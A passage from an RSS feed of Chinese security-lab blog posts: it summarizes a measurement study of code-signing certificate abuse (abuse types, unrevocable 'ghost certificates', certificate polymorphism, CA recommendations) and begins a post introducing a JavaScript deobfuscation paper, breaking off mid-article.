bold;">二、代码签名研究的三大挑战</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">与传统的 Web PKI 不同，代码签名 PKI 测量研究存在三大挑战：</span></p><ol style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">缺少大规模数据集：</span></strong><p><span leaf="">在 Web PKI 中，研究者可以通过 TLS 扫描主动收集数据或被动分析 TLS 流量。Censys 和 Rapid7 等公共数据集也能为测量工作提供支持。此外，证书透明度（CT）机制提供了 CA 颁发记录，方便研究者批量获取证书数据。然而，代码签名生态系统相对封闭，无法通过主动扫描或 CT 等手段获取大规模数据集，这是制约代码签名测量研究的最大障碍。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">缺少 Ground Truth：</span></strong><p><span leaf="">尽管近年来代码签名滥用事件频发，但是学术界尚未找到代码签名滥用检测分类相关的 Ground Truth，以往基于签发行为的分类方法被证实可能会被攻击者绕过。这阻碍了对代码签名证书进行标注和聚类分析。</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">问题根源难以溯源：</span></strong><p><span leaf="">CA 端的操作和实现并不透明，即便定位到代码签名滥用行为，也难以由此溯源到造成滥用的根源所在，导致无法提出有针对性的缓解措施。</span></p></li></ol><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">我们的工作分别通过</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">综合公共数据集与私有沙箱样本</span></strong><span leaf="">、</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">设计基于撤销信息的滥用检测分类算法</span></strong><span leaf="">、</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">按照不同滥用类型作细粒度分析</span></strong><span leaf="">等方法解决了以上三大挑战。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;"><span leaf=""><span textstyle="" style="font-size: 24px;color: rgb(0, 128, 255);font-weight: bold;">三、代码签名滥用测量的创新方法设计</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">为了解决以上挑战，我们提出了针对代码签名滥用测量的一系列创新方法设计，以实现大规模、细粒度、可溯源的滥用测量分析。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">数据收集方面，我们综合了</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">公共数据集与私有沙箱样本</span></strong><span leaf="">。我们收集了公共恶意软件存储库 VirusShare 在 2020 年 10 月至 2024 年 10 月期间发布的所有样本，经过过滤保留了 176,968 个签名 PE 样本。此外，我们还从合作公司沙箱中补充收集了 3,828,744 个签名的 PE 文件。两个数据集通过合并去重后共得到 3,962,788 个签名样本，通过反病毒引擎分析最终筛选出了 3,216,113 个恶意签名样本。此外，我们还从多个维度对样本特征进行了扩充，比如爬取 CRL 撤销信息、收集样本恶意行为分析报告等，以实现更精准的检测与分析。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.14814814814814814" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005362" src="https://wechat2rss.xlab.app/img-proxy/?k=e6422970&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96mWrkGDjmRU2PIibJOxS1NKaVcrx4yYgFaV7ml0ewhWupoZpBJLYBuUFH7POl9z2DHRJXibaP0PiaKkg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">为了实现细粒度的分析，我们提出了一种</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">代码签名滥用检测分类算法</span></strong><span leaf="">。受益于近年来 CA 撤销透明度的改善，我们得以通过已撤销证书被披露的撤销原因（Revocation Reason）来推知证书滥用背后的原因。我们依据样本对应的 SignTool 输出结果、CRL 撤销信息以及 OpenCorporates 查询结果设计了新的检测分类方法，将滥用分为签名复制、私钥窃取、身份盗用、空壳公司、自签证书等五种滥用类型。不同的滥用类型采取了不同的滥用手段，其产生的安全威胁与影响范围也有所不同。对于私钥窃取、身份盗用以及空壳公司这三类相对高级的滥用类型而言，由于攻击者掌握受信任证书的私钥，他们可以任意为恶意软件进行签名且不会触发操作系统的安全告警，具有隐蔽性强、影响范围大的特点。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2833333333333333" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005363" src="https://wechat2rss.xlab.app/img-proxy/?k=d27ae750&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96mWrkGDjmRU2PIibJOxS1NKaFYupt2N8ict9lzzn6HZJHS0tHsxPEPPWcMmfRP9ncEv0ulOlFhKqOFA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">此外，我们还设计了一种</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">基于</span></strong><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">LLM</span></strong><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">的证书关联方法</span></strong><span leaf="">，通过输入证书主题字段以及公钥信息来推断滥用证书是否来自同一攻击者。这一方法不仅帮助我们扩展标记了 287 张未标记滥用证书，还以此聚类得到了 3,484 个证书多态类簇，为后续滥用策略分析提供支撑。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;"><span leaf=""><span textstyle="" style="color: rgb(0, 128, 255);font-weight: bold;">四、核心贡献与关键发现</span></span></h2><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;"><span leaf=""><span textstyle="" style="font-weight: bold;">构建迄今最大的滥用标记数据集</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">利用代码签名滥用检测分类算法，我们最终收集到了 3,216,113 个来自真实世界的已签名的恶意 PE 文件，从中提取得到了 43,286 张滥用证书，构建了迄今为止最大的代码签名滥用标记数据集。值得注意的是，其中有 23,252 张滥用证书由公共可信 CA 颁发，我们的工作重点关注这些具有高威胁的证书样本。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.41203703703703703" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005364" src="https://wechat2rss.xlab.app/img-proxy/?k=f46983e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96mWrkGDjmRU2PIibJOxS1NKagPSoqcS4rL6yajqabxHddcDgWXRMk72hvjJAJr07aZVmWy24RmLVWg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;"><span leaf=""><span textstyle="" style="font-weight: bold;">对滥用生态开展全面测量</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">我们利用上述代码签名滥用标记数据集对滥用生态开展了全面而深入的测量分析工作。分析发现当前代码签名滥用现象普遍存在，影响了 46 家 CA 厂商以及 114 个国家或地区的证书。我们发现部分 CA 明显更受攻击者青睐，且与市场份额与证书价格无关，这可能反映出某些 CA 对于证书申请者的身份审核存在漏洞。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4648148148148148" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005365" src="https://wechat2rss.xlab.app/img-proxy/?k=d79503ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96mWrkGDjmRU2PIibJOxS1NKag9iarP1SLkWUkgPsKunoPicL6lqEy7sib8krc8YTVaz5oSV397ic6UOUGQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;text-align: center;font-weight: bold;"><span leaf="">良性样本与恶意样本代码签名中的 CA 分布对比</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;"><span leaf=""><span textstyle="" style="font-weight: bold;">首次发现“幽灵证书”</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">阻止滥用证书的唯一有效手段是证书撤销，测量发现为恶意软件签名的滥用证书撤销率仅为 17.56%。我们首次发现了制约撤销率提高的关键因素——“幽灵证书”，即已被确定为滥用却无法被撤销的证书。这些证书由于其颁发者证书过期、撤销或停止运营导致撤销设施（CRL/OCSP）失效，即使识别到滥用行为也无法发布撤销信息，而它们的代码签名即使在签名证书过期后由于时间戳（TSA）的存在依然有效。我们发现已确认被滥用但仍未被撤销的证书中至少有 38.96% 符合“幽灵证书”的条件。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.34074074074074073" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005366" src="https://wechat2rss.xlab.app/img-proxy/?k=3cd89018&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96mWrkGDjmRU2PIibJOxS1NKaYIia8nIwoUJ36vunW8UcaeeOIgsBCSIQZ1vEVZhkW1DQ2ELYrFViciaTg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;text-align: center;font-weight: bold;"><span leaf="">“幽灵证书”示意图</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;"><span leaf=""><span textstyle="" style="font-weight: bold;">发现五种滥用策略</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">为了找到当前代码签名 PKI 的安全缺陷并提出有针对性的缓解措施，我们深入分析了攻击者的行为和策略。我们通过分析标记数据集总结出了五种滥用策略，旨在逃避检查、降低成本和扩大攻击影响。例如，在证书申请阶段，攻击者可能会利用不同国家之间 CA 身份审查宽松程度的差异有选择性地申请证书（比如假以越南、亚美尼亚等国公司的身份进行申请）。在证书签名阶段，攻击者可能会为恶意软件精心配置“双签名”，通过附加兼容旧密码算法的签名来扩大攻击影响范围。</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;"><span leaf=""><span textstyle="" style="font-weight: bold;">深入挖掘证书多态现象</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">证书多态也是攻击者常用的滥用策略之一。证书多态是指同一实体使用相同（或稍有修改）身份向相同或不同的 CA 申请多张证书的现象。借助证书多态，攻击者可以以相对较低的成本批量获得多个证书（避免注册多个空壳公司带来的巨额开销），同时逃避 CA 撤销的检查（一张证书被撤销不影响其他证书）。我们通过证书关联方法识别了 3,484 个证书多态类簇，发现了 315 个利用多态绕过撤销检查的真实案例。此外，我们还首次发现了利用特殊字符实施证书多态的实例（如下图所示）。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6148148148148148" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005367" src="https://wechat2rss.xlab.app/img-proxy/?k=61ba8a57&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96mWrkGDjmRU2PIibJOxS1NKaLKgevDQETEgwnHncNSNePFaRLNuxXImqAtTfpgG4yu4z9CiawVFemFA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;text-align: center;font-weight: bold;"><span leaf="">利用特殊字符实施证书多态的示意图</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;"><span leaf=""><span textstyle="" style="color: rgb(0, 128, 255);font-weight: bold;">五、总结</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">代码签名是验证发布者身份并确保软件完整性的重要机制。然而，我们的研究发现代码签名滥用已经成为了软件生态的重大安全威胁之一。我们对现实世界的代码签名滥用生态系统进行了大规模测量研究，开发了一种针对证书滥用类型的细粒度检测分类方法，获得了迄今为止最大的滥用证书标记数据集（43,286 个证书）。利用该数据集，我们对代码签名生态系统与攻击者行为进行了全面而深入的分析，揭示了攻击者一系列的代码签名滥用策略。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">我们认为造成代码签名滥用持续泛滥的安全缺陷主要来自于 CA 端，包括颁发过程缺乏标准化、消极的滥用治理等。我们建议 CA 增强证书颁发与撤销的透明度（比如建立 CT）、主动监测野外滥用行为、为证书主题字段建立统一标准。同时，我们也希望 Windows 做出相应调整以缓解“幽灵证书”的影响。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">最后，本文构建的代码签名滥用数据集已开源发布，期待能为后续研究工作提供参考。我们希望安全社区能够给予代码签名领域更多关注，以更好地维护健康的软件生态。感谢您的阅读！</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;text-align: left;"><span leaf="">论文&amp;项目开源地址：<a href="https://github.com/XingTuLab/Code_Signing_Abuse_Dataset" target="_blank">https://github.com/XingTuLab/Code_Signing_Abuse_Dataset</a></span></p><div data-tools="135编辑器" data-id="158381" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 4px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;border: 1px solid rgb(133, 157, 229);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 25px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background: linear-gradient(rgb(233, 242, 255), rgb(255, 255, 255));"><div data-autoskip="1" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(51, 51, 51);background-color: transparent;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">奇安信技术研究院是专注于网络空间安全相关技术的研究机构，聚焦网络空间安全领域基础性或前沿性的研究课题，结合国家和社会的实际需求，开展创新性和实践性的技术研究。共有星图实验室、羲和实验室和天工实验室三大实验室。</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: 宋体;font-size: 10.5pt;"><font face="宋体" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">我们目前正在招聘，工作地点覆盖北京、南京、成都等城市，详情请参见：</span></span></font></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: 宋体;font-size: 10.5pt;"><font face="Calibri" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;"><a href="https://research.qianxin.com/recruitment/" target="_blank">https://research.qianxin.com/recruitment/</a></span></span></font></span></p></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8ee66b66&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489016%26idx%3D1%26sn%3D0e14a2da0f4d916c8759c197335bd855">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 21 Jan 2026 13:10:00 +0800</pubDate>
    </item>
    <item>
      <title>【论文分享】从混乱到清晰：面向安全分析的综合性JavaScript反混淆</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247488994&amp;idx=1&amp;sn=dfa76d25c322e4446ca422f32f18cb10</link>
      <description>奇安信星图实验室与北邮团队在NDSS 2026发表JavaScript反混淆论文，系统归纳20种混淆技术，提出融合静态、动态与LLM的分析方法。这是继CCS 2024、DSN 2022后团队在脚本反混淆安全领域的又一学术成果。</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-01-13 14:55</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c80e5138&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96lwicEE0wOfBiaTrzryOH47tuHDybPypyZHF5KCZyR5M567w73uz9BGR8wkP8FcADVAmBl5JElLBLAg%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>奇安信星图实验室与北邮团队在NDSS 2026发表JavaScript反混淆论文，系统归纳20种混淆技术，提出融合静态、动态与LLM的分析方法。这是继CCS 2024、DSN 2022后团队在脚本反混淆安全领域的又一学术成果。</p>
  <h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">一、当恶意代码穿上”隐身衣”：JavaScript混淆的现实威胁</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">打开一个可疑的JavaScript文件，你可能会看到这样的代码：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005338" data-ratio="0.37222222222222223" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=fa023184&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lwicEE0wOfBiaTrzryOH47tu2EU1ZfJEIyuX8MUZptNu4agXy64JcZeOhAoSz0TpjJJtQNRUIENKaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这不是乱码，而是攻击者精心设计的”隐身衣”——JavaScript代码混淆。这段看似天书般的代码，实际上可能隐藏着窃取用户数据、植入后门或发起网络攻击的恶意逻辑。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">JavaScript作为互联网前端和客户端脚本的核心语言，在网页及各类网络应用中被广泛使用，这也使其成为了攻击者的首选目标。攻击者频繁利用JavaScript的动态特性，通过多层、多样化的混淆技术隐藏恶意代码，极大增加了安全分析的难度。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005336" data-ratio="0.31296296296296294" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=81963790&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lwicEE0wOfBiaTrzryOH47tuYwkJcKiadMdkClyO2GlJePJHFH6Sc2qDOxyVAicWGFjiaqFK3ekfqE2Nw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">面对这一日益严峻的安全威胁，奇安信技术研究院星图实验室与北京邮电大学联合研究团队在NDSS 2026会议上发表了论文《From Obfuscated to Obvious: A Comprehensive JavaScript Deobfuscation Tool for Security Analysis》。该论文由北京邮电大学和奇安信联合培养的卓越工程师计划博士研究生周董超在奇安信技术研究院联培期间主导完成，导师为应凌云博士（奇安信星图实验室）和王东滨教授（北京邮电大学），参与该项工作的还有柴华君（奇安信星图实验室）。这篇论文也是我们继<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247488045&amp;idx=1&amp;sn=3756f3c5b8ff66af7b97e0d74a2f6a93&amp;scene=21#wechat_redirect" textvalue="PowerPeeler (CCS 2024)" data-itemshowtype="0" linktype="text" data-linktype="2">PowerPeeler (CCS 2024)</a>和<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247486026&amp;idx=1&amp;sn=6146d8557d677e890b7100f0cf9ab866&amp;scene=21#wechat_redirect" textvalue="Invoke-Deobfuscation (DSN 2022)" data-itemshowtype="0" linktype="text" data-linktype="2">Invoke-Deobfuscation (DSN 2022)</a>之后的又一项脚本反混淆工作。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过系统性文献调研和样本分析，研究团队将JavaScript混淆技术归纳为四大类共20种技术：词法级混淆（变量重命名、间接属性访问等5种）、语法级混淆（表达式转函数、特殊编码等6种）、语义级混淆（字符串数组、控制流平坦化等7种）和多层混淆（OB混淆、AI辅助混淆2种）。针对这些复杂化的混淆趋势，研究开发的综合性反混淆工具JSIMPLIFIER能够自动破解各种混淆技术，将晦涩的恶意代码还原为安全分析师能够快速理解的清晰形式。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">二、现有反混淆工具的三重困境</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当前的JavaScript反混淆工具面临着三个核心挑战，这些挑战严重限制了它们在实际安全分析中的应用效果。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: 